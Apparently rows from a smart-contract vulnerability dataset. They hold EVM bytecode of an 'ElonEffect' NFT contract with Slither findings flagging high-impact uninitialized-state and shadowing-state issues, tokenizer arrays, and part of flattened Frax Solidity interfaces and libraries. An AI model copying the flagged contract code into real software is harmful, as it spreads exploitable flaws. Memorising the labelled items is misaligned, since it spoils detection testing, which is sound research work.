e57601654610100900460ff1615611816576117ba6117b3846121d0565b83836122d1565b6118115760405162461bcd60e51b815260206004820152602260248201527f456c6f6e4566666563743a204163636f756e74206e6f7420617574686f72697a604482015261195960f21b6064820152608401610a23565b61185e565b60405162461bcd60e51b815260206004820152601e60248201527f456c6f6e4566666563743a2073616c65206973206e6f742061637469766500006044820152606401610a23565b6000611868610bd8565b6013549091506118788583613172565b11156118965760405162461bcd60e51b8152600401610a23906133c2565b33600090815260016020526040812080548692906118b990849061ffff1661328c565b82546101009290920a61ffff818102199093169183160217909155336000908152600160205260409020805487935090916002916118ff9185916201000090041661328c565b92506101000a81548161ffff021916908361ffff16021790555060005b84811015610fcb57611939338361193281613249565b94506120ba565b61194281613249565b905061191c565b3360009081526009602052604090205460ff166119785760405162461bcd60e51b8152600401610a2390613262565b611980610bd8565b8310156119f55760405162461bcd60e51b815260206004820152603a60248201527f456c6f6e4566666563743a2073706563696669656420737570706c792069732060448201527f6c6f776572207468616e2063757272656e742062616c616e63650000000000006064820152608401610a23565b601293909355601391909155601155601455565b6008546001600160a01b03163314611a335760405162461bcd60e51b8152600401610a2390613127565b8151611a4690600f9060208501906129f4565b50601080546001600160a01b0319166001600160a01b039290921691909117905550565b3360009081526009602052604090205460ff16611a995760405162461bcd60e51b8152600401610a2390613262565b828114611b0e5760405162461bcd60e51b815260206004820152603860248201527f456c6f6e4566666563743a206d7573742070726f7669646520657175616c207160448201527f75616e74697469657320616e6420726563697069656e747300000000000000006064820152608401610a23565b6000805b84811015611b4257858582818110611b2c57611b2c613233565b9050602002013582019150806001019050611b12565b506000611b4d610bd8565b90506013548282011115611b735760405162461bcd60e51b8152600401610a23906133c2565b60005b838110156115e1576000878783818110611b9257611b92613233565b905060200201351115611c7757868682818110611bb157611bb1613233565b9050602002013560016000878785818110611bce57611bce613233565b9050602002016020810190611be39190612ac5565b6001600160a01b0316815260208101919091526040016000908120805461ffff19811661ffff9182169490940116929092179091555b878783818110611c2b57611c2b613233565b90506020020135811015611c7557611c6d868684818110611c4e57611c4e613233565b9050602002016020810190611c639190612ac5565b60018501946120ba565b600101611c19565b505b600101611b76565b6008546001600160a01b03163314611ca95760405162461bcd60e51b8152600401610a2390613127565b6001600160a01b0381166000908152600960205260409020805460ff19166001179055611cd581612336565b50565b60006001600160e01b031982166380ac58cd60e01b1480611d0957506001600160e01b03198216635b5e139f60e01b145b8061095e57506301ffc9a760e01b6001600160e01b031983161461095e565b600080548210801561095e575060006001600160a01b031660008381548110611d5357611d53613233565b6000918252602090912001546001600160a01b0316141592915050565b600081815260066020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611da582611409565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000600354600254611df09190613172565b600054610be291906131d3565b80471015611e4d5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610a23565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611e9a576040519150601f19603f3d011682016040523d82523d6000602084013e611e9f565b606091505b5050905080610bd35760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610a23565b6000611f2182611d28565b611f3d5760405162461bcd60e51b8152600401610a23906132b2565b6000611f4883611409565b9050806001600160a01b0316846001600160a01b03161480611f835750836001600160a01b0316611f7884610a4f565b6001600160a01b0316145b80611fb357506001600160a01b0380821660009081526007602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611fce82611409565b6001600160a01b0316146120375760405162461bcd60e51b815260206004820152602a60248201527f455243373231423a207472616e73666572206f6620746f6b656e20746861742060448201526934b9903737ba1037bbb760b11b6064820152608401610a23565b61204183836123ce565b61204c600082611d70565b816000828154811061206057612060613233565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b604080516020810182526001600160a01b038481168083526000805460018101825581805293517f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56390940180546001600160a01b03191694909316939093179091559151839291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6121a8848484611fbb565b6121b48484848461247a565b61161c5760405162461bcd60e51b8152600401610a2390613407565b6060816000036121f75750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612221578061220b81613249565b915061221a9050600a836131bf565b91506121fb565b60008167ffffffffffffffff81111561223c5761223c612edc565b6040519080825280601f01601f191660200182016040528015612266576020820181803683370190505b5090505b8415611fb35761227b6001836131d3565b9150612288600a8661345a565b612293906030613172565b60f81b8183815181106122a8576122a8613233565b60200101906001600160f81b031916908160001a9053506122ca600a866131bf565b945061226a565b60008061231c6122e08661257b565b85858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506125b292505050565b6010546001600160a01b0390811691161495945050505050565b6008546001600160a01b031633146123605760405162461bcd60e51b8152600401610a2390613127565b6001600160a01b0381166123c55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a23565b611cd58161214b565b6001600160a01b03821615612422576001600160a01b038216600090815260016020526040812080549091906124079061ffff1661346e565b91906101000a81548161ffff021916908361ffff1602179055505b6001600160a01b03811615612476576001600160a01b0381166000908152600160205260408120805490919061245b9061ffff1661348c565b91906101000a81548161ffff021916908361ffff1602179055505b5050565b60006001600160a01b0384163b1561257057604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906124be9033908990889088906004016134ad565b6020604051808303816000875af19250505080156124f9575060408051601f3d908101601f191682019092526124f6918101906134ea565b60015b612556573d808015612527576040519150601f19603f3d011682016040523d82523d6000602084013e61252c565b606091505b50805160000361254e5760405162461bcd60e51b8152600401610a2390613407565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611fb3565b506001949350505050565b6000303383600f6040516020016125959493929190613507565b604051602081830303815290604052805190602001209050919050565b60006111a5826125c1856125c7565b90612602565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01612595565b60008060006126118585612626565b9150915061261e81612694565b509392505050565b600080825160410361265c5760208301516040840151606085015160001a6126508782858561284a565b9450945050505061268d565b8251604003612685576020830151604084015161267a868383612937565b93509350505061268d565b506000905060025b9250929050565b60008160048111156126a8576126a861354d565b036126b05750565b60018160048111156126c4576126c461354d565b036127115760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a23565b60028160048111156127255761272561354d565b036127725760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a23565b60038160048111156127865761278661354d565b036127de5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610a23565b60048160048111156127f2576127f261354d565b03611cd55760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610a23565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115612881575060009050600361292e565b8460ff16601b1415801561289957508460ff16601c14155b156128aa575060009050600461292e565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156128fe573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166129275760006001925092505061292e565b9150600090505b94509492505050565b6000806001600160ff1b0383168161295460ff86901c601b613172565b90506129628782888561284a565b935093505050935093915050565b82805461297c906130ed565b90600052602060002090601f01602090048101928261299e57600085556129e4565b82601f106129b75782800160ff198235161785556129e4565b828001600101855582156129e4579182015b828111156129e45782358255916020019190600101906129c9565b506129f0929150612a68565b5090565b828054612a00906130ed565b90600052602060002090601f016020900481019282612a2257600085556129e4565b82601f10612a3b57805160ff19168380011785556129e4565b828001600101855582156129e4579182015b828111156129e4578251825591602001919060010190612a4d565b5b808211156129f05760008155600101612a69565b6001600160e01b031981168114611cd557600080fd5b600060208284031215612aa557600080fd5b81356111a581612a7d565b6001600160a01b0381168114611cd557600080fd5b600060208284031215612ad757600080fd5b81356111a581612ab0565b60005b83811015612afd578181015183820152602001612ae5565b8381111561161c5750506000910152565b60008151808452612b26816020860160208601612ae2565b601f01601f19169290920160200192915050565b6020815260006111a56020830184612b0e565b600060208284031215612b5f57600080fd5b5035919050565b60008060408385031215612b7957600080fd5b8235612b8481612ab0565b946020939093013593505050565b600080600060608486031215612ba757600080fd5b8335612bb281612ab0565b92506020840135612bc281612ab0565b929592945050506040919091013590565b60008083601f840112612be557600080fd5b50813567ffffffffffffffff811115612bfd57600080fd5b6020830191508360208260051b850101111561268d57600080fd5b60008060008060408587031215612c2e57600080fd5b843567ffffffffffffffff80821115612c4657600080fd5b612c5288838901612bd3565b90965094506020870135915080821115612c6b57600080fd5b50612c7887828801612bd3565b95989497509550505050565b6020808252825182820181905260009190848201906040850190845b81811015612cbc57835183529284019291840191600101612ca0565b50909695505050505050565b80358015158114610a4a57600080fd5b60008060408385031215612ceb57600080fd5b8235612cf681612ab0565b9150612d0460208401612cc8565b90509250929050565b600080600060408486031215612d2257600080fd5b8335612d2d81612ab0565b9250602084013567ffffffffffffffff811115612d4957600080fd5b612d5586828701612bd3565b9497909650939450505050565b600080600060608486031215612d7757600080fd5b612d8084612cc8565b9250612d8e60208501612cc8565b9150612d9c60408501612cc8565b90509250925092565b60008083601f840112612db757600080fd5b50813567ffffffffffffffff811115612dcf57600080fd5b60208301915083602082850101111561268d57600080fd5b60008060008060408587031215612dfd57600080fd5b843567ffffffffffffffff80821115612e1557600080fd5b612e2188838901612da5565b90965094506020870135915080821115612e3a57600080fd5b50612c7887828801612da5565b60008060008060008060808789031215612e6057600080fd5b8635612e6b81612ab0565b95506020870135612e7b81612ab0565b9450604087013567ffffffffffffffff80821115612e9857600080fd5b612ea48a838b01612bd3565b90965094506060890135915080821115612ebd57600080fd5b50612eca89828a01612da5565b979a9699509497509295939492505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115612f0d57612f0d612edc565b604051601f8501601f19908116603f01168101908282118183101715612f3557612f35612edc565b81604052809350858152868686011115612f4e57600080fd5b858560208301376000602087830101525050509392505050565b60008060008060808587031215612f7e57600080fd5b8435612f8981612ab0565b93506020850135612f9981612ab0565b925060408501359150606085013567ffffffffffffffff811115612fbc57600080fd5b8501601f81018713612fcd57600080fd5b612fdc87823560208401612ef2565b91505092959194509250565b600080600060408486031215612ffd57600080fd5b83359250602084013567ffffffffffffffff81111561301b57600080fd5b612d5586828701612da5565b6000806000806080858703121561303d57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561306c57600080fd5b823567ffffffffffffffff81111561308357600080fd5b8301601f8101851361309457600080fd5b6130a385823560208401612ef2565b92505060208301356130b481612ab0565b809150509250929050565b600080604083850312156130d257600080fd5b82356130dd81612ab0565b915060208301356130b481612ab0565b600181811c9082168061310157607f821691505b60208210810361312157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156131855761318561315c565b500190565b60008160001904831182151516156131a4576131a461315c565b500290565b634e487b7160e01b600052601260045260246000fd5b6000826131ce576131ce6131a9565b500490565b6000828210156131e5576131e561315c565b500390565b60208082526029908201527f455243373231423a2063616c6c6572206973206e6f74206f776e6572206e6f7260408201526808185c1c1c9bdd995960ba1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006001820161325b5761325b61315c565b5060010190565b60208082526010908201526f496e76616c69642064656c656761746560801b604082015260600190565b600061ffff8083168185168083038211156132a9576132a961315c565b01949350505050565b60208082526024908201527f455243373231423a20717565727920666f72206e6f6e6578697374656e74207460408201526337b5b2b760e11b606082015260800190565b8054600090600181811c908083168061331057607f831692505b6020808410820361333157634e487b7160e01b600052602260045260246000fd5b818015613345576001811461335657613383565b60ff19861689528489019650613383565b60008881526020902060005b8681101561337b5781548b820152908501908301613362565b505084890196505b50505050505092915050565b600061339b82866132f6565b84516133ab818360208901612ae2565b6133b7818301866132f6565b979650505050505050565b60208082526025908201527f456c6f6e4566666563743a206d696e742f6f72646572206578636565647320736040820152647570706c7960d81b606082015260800190565b60208082526033908201527f455243373231423a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b600082613469576134696131a9565b500690565b600061ffff8216806134825761348261315c565b6000190192915050565b600061ffff8083168181036134a3576134a361315c565b6001019392505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906134e090830184612b0e565b9695505050505050565b6000602082840312156134fc57600080fd5b81516111a581612a7d565b60006bffffffffffffffffffffffff19808760601b168352808660601b16601484015250835161353e816028850160208801612ae2565b6133b7602882850101856132f6565b634e487b7160e01b600052602160045260246000fdfea26469706673582212207dd3b4eb088956f9baaa3008b541441ab4aa37885210eb6f9c25f8cfa13a553964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2063, 17788, 2575, 16147, 2546, 8889, 2575, 2620, 2050, 2683, 16068, 2692, 2063, 2475, 2050, 2683, 2683, 16336, 9818, 4402, 24087, 2683, 17134, 2509, 6679, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 12324, 1005, 1012, 1013, 1038, 17960, 14756, 1013, 11849, 2094, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 1038, 17960, 14756, 1013, 9413, 2278, 2581, 17465, 14479, 2818, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 1038, 17960, 14756, 1013, 2772, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 1038, 17960, 14756, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,853
0x977eaDb6fa9b8E1a2A950CcDE1A75a7b527a8cBB
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.6.7 https://hardhat.org // File contracts/Math/Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File contracts/Frax/IFrax.sol interface IFrax { function COLLATERAL_RATIO_PAUSER() external view returns (bytes32); function DEFAULT_ADMIN_ADDRESS() external view returns (address); function DEFAULT_ADMIN_ROLE() external view returns (bytes32); function addPool(address pool_address ) external; function allowance(address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount ) external returns (bool); function balanceOf(address account ) external view returns (uint256); function burn(uint256 amount ) external; function burnFrom(address account, uint256 amount ) external; function collateral_ratio_paused() external view returns (bool); function controller_address() external view returns (address); function creator_address() external view returns (address); function decimals() external view returns (uint8); function decreaseAllowance(address spender, uint256 subtractedValue ) external returns (bool); function eth_usd_consumer_address() external view returns (address); function eth_usd_price() external view returns (uint256); function frax_eth_oracle_address() external view returns (address); function frax_info() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256); function frax_pools(address ) external view returns (bool); function frax_pools_array(uint256 ) external view returns (address); function frax_price() external view returns (uint256); function frax_step() external view returns (uint256); function fxs_address() external view returns (address); function fxs_eth_oracle_address() external view returns (address); function fxs_price() external view returns (uint256); function genesis_supply() external view returns (uint256); function getRoleAdmin(bytes32 role ) external view returns (bytes32); function getRoleMember(bytes32 role, uint256 index ) external view returns (address); function getRoleMemberCount(bytes32 role ) external view returns (uint256); function globalCollateralValue() external view returns (uint256); function global_collateral_ratio() external view returns (uint256); function grantRole(bytes32 role, address account ) external; function hasRole(bytes32 role, address account ) external view returns (bool); function increaseAllowance(address spender, uint256 addedValue ) external returns (bool); function last_call_time() external view returns (uint256); function minting_fee() external view returns (uint256); function name() external view returns (string memory); function owner_address() external view returns (address); function pool_burn_from(address b_address, uint256 b_amount ) external; function pool_mint(address m_address, uint256 m_amount ) external; function price_band() external view returns (uint256); function price_target() external view returns (uint256); function redemption_fee() external view returns (uint256); function refreshCollateralRatio() external; function refresh_cooldown() external view returns (uint256); function removePool(address pool_address ) external; function renounceRole(bytes32 role, address account ) external; function revokeRole(bytes32 role, address account ) external; function setController(address _controller_address ) external; function setETHUSDOracle(address _eth_usd_consumer_address ) external; function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address ) external; function setFXSAddress(address _fxs_address ) external; function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address ) external; function setFraxStep(uint256 _new_step ) external; function setMintingFee(uint256 min_fee ) external; function setOwner(address _owner_address ) external; function setPriceBand(uint256 _price_band ) external; function setPriceTarget(uint256 _new_price_target ) external; function setRedemptionFee(uint256 red_fee ) external; function setRefreshCooldown(uint256 _new_cooldown ) external; function setTimelock(address new_timelock ) external; function symbol() external view returns (string memory); function timelock_address() external view returns (address); function toggleCollateralRatio() external; function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount ) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool); function weth_address() external view returns (address); } // File contracts/FXS/IFxs.sol interface IFxs { function DEFAULT_ADMIN_ROLE() external view returns(bytes32); function FRAXStablecoinAdd() external view returns(address); function FXS_DAO_min() external view returns(uint256); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function balanceOf(address account) external view returns(uint256); function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; function checkpoints(address, uint32) external view returns(uint32 fromBlock, uint96 votes); function decimals() external view returns(uint8); function decreaseAllowance(address spender, uint256 subtractedValue) external returns(bool); function genesis_supply() external view returns(uint256); function getCurrentVotes(address account) external view returns(uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns(uint96); function getRoleAdmin(bytes32 role) external view returns(bytes32); function getRoleMember(bytes32 role, uint256 index) external view returns(address); function getRoleMemberCount(bytes32 role) external view returns(uint256); function grantRole(bytes32 role, address account) external; function hasRole(bytes32 role, address account) external view returns(bool); function increaseAllowance(address spender, uint256 addedValue) external returns(bool); function mint(address to, uint256 amount) external; function name() external view returns(string memory); function numCheckpoints(address) external view returns(uint32); function oracle_address() external view returns(address); function owner_address() external view returns(address); function pool_burn_from(address b_address, uint256 b_amount) external; function pool_mint(address m_address, uint256 m_amount) external; function renounceRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function setFRAXAddress(address frax_contract_address) external; function setFXSMinDAO(uint256 min_FXS) external; function setOracle(address new_oracle) external; function setOwner(address _owner_address) external; function setTimelock(address new_timelock) external; function symbol() external view returns(string memory); function timelock_address() external view returns(address); function toggleVotes() external; function totalSupply() external view returns(uint256); function trackingVotes() external view returns(bool); function transfer(address recipient, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); } // File contracts/Frax/IFraxAMOMinter.sol // MAY need to be updated interface IFraxAMOMinter { function FRAX() external view returns(address); function FXS() external view returns(address); function acceptOwnership() external; function addAMO(address amo_address, bool sync_too) external; function allAMOAddresses() external view returns(address[] memory); function allAMOsLength() external view returns(uint256); function amos(address) external view returns(bool); function amos_array(uint256) external view returns(address); function burnFraxFromAMO(uint256 frax_amount) external; function burnFxsFromAMO(uint256 fxs_amount) external; function col_idx() external view returns(uint256); function collatDollarBalance() external view returns(uint256); function collatDollarBalanceStored() external view returns(uint256); function collat_borrow_cap() external view returns(int256); function collat_borrowed_balances(address) external view returns(int256); function collat_borrowed_sum() external view returns(int256); function collateral_address() external view returns(address); function collateral_token() external view returns(address); function correction_offsets_amos(address, uint256) external view returns(int256); function custodian_address() external view returns(address); function dollarBalances() external view returns(uint256 frax_val_e18, uint256 collat_val_e18); // function execute(address _to, uint256 _value, bytes _data) external returns(bool, bytes); function fraxDollarBalanceStored() external view returns(uint256); function fraxTrackedAMO(address amo_address) external view returns(int256); function fraxTrackedGlobal() external view returns(int256); function frax_mint_balances(address) external view returns(int256); function frax_mint_cap() external view returns(int256); function frax_mint_sum() external view returns(int256); function fxs_mint_balances(address) external view returns(int256); function fxs_mint_cap() external view returns(int256); function fxs_mint_sum() external view returns(int256); function giveCollatToAMO(address destination_amo, uint256 collat_amount) external; function min_cr() external view returns(uint256); function mintFraxForAMO(address destination_amo, uint256 frax_amount) external; function mintFxsForAMO(address destination_amo, uint256 fxs_amount) external; function missing_decimals() external view returns(uint256); function nominateNewOwner(address _owner) external; function nominatedOwner() external view returns(address); function oldPoolCollectAndGive(address destination_amo) external; function oldPoolRedeem(uint256 frax_amount) external; function old_pool() external view returns(address); function owner() external view returns(address); function pool() external view returns(address); function receiveCollatFromAMO(uint256 usdc_amount) external; function recoverERC20(address tokenAddress, uint256 tokenAmount) external; function removeAMO(address amo_address, bool sync_too) external; function setAMOCorrectionOffsets(address amo_address, int256 frax_e18_correction, int256 collat_e18_correction) external; function setCollatBorrowCap(uint256 _collat_borrow_cap) external; function setCustodian(address _custodian_address) external; function setFraxMintCap(uint256 _frax_mint_cap) external; function setFraxPool(address _pool_address) external; function setFxsMintCap(uint256 _fxs_mint_cap) external; function setMinimumCollateralRatio(uint256 _min_cr) external; function setTimelock(address new_timelock) external; function syncDollarBalances() external; function timelock_address() external view returns(address); } // File contracts/Common/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/Math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/Utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be 